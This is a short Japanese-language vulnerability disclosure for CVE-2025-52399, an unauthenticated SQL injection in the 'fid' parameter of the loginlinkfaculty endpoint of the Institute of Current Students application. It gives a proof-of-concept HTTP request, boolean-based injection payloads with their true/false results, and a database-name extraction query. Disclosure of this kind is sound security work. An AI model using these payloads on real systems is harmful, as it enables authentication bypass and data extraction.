CVE-2025-52399 - Institute of Current Students における SQL インジェクション

概要

Institute-of-Current-Students アプリケーションの loginlinkfaculty エンドポイントは、fid POST パラメータを介して SQL インジェクションに対して脆弱です。このパラメータは SQL クエリで使用される前に適切にサニタイズされないため、リモートの攻撃者は任意の SQL コマンドを実行できます。

• 脆弱性の種類: SQL インジェクション
• 影響を受けるコンポーネント: /loginlinkfaculty (POST)
• 影響を受けるパラメータ: fid
• 認証: 不要
• 影響: 認証バイパス、データ抽出
• テスト環境: Localhost
• データベース: icsnew
• バージョン: 1.0

PoC

HTTP リクエスト

http POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+321=6+AND+000942=000942--&pass=example

ペイロード結果

✅ -1' OR 3*2*1=6 AND 000942=000942 -- → 真 ❌ -1' OR 2*3=4 AND 000942=000942 -- → 偽

データベース抽出

SELECT database(); -- returns 'icsnew'

参照

• CVE-2025-52399 (MITRE)
• 影響を受けるアプリケーション
• OWASP SQL Injection

発見者

Isroil Mustafoqulov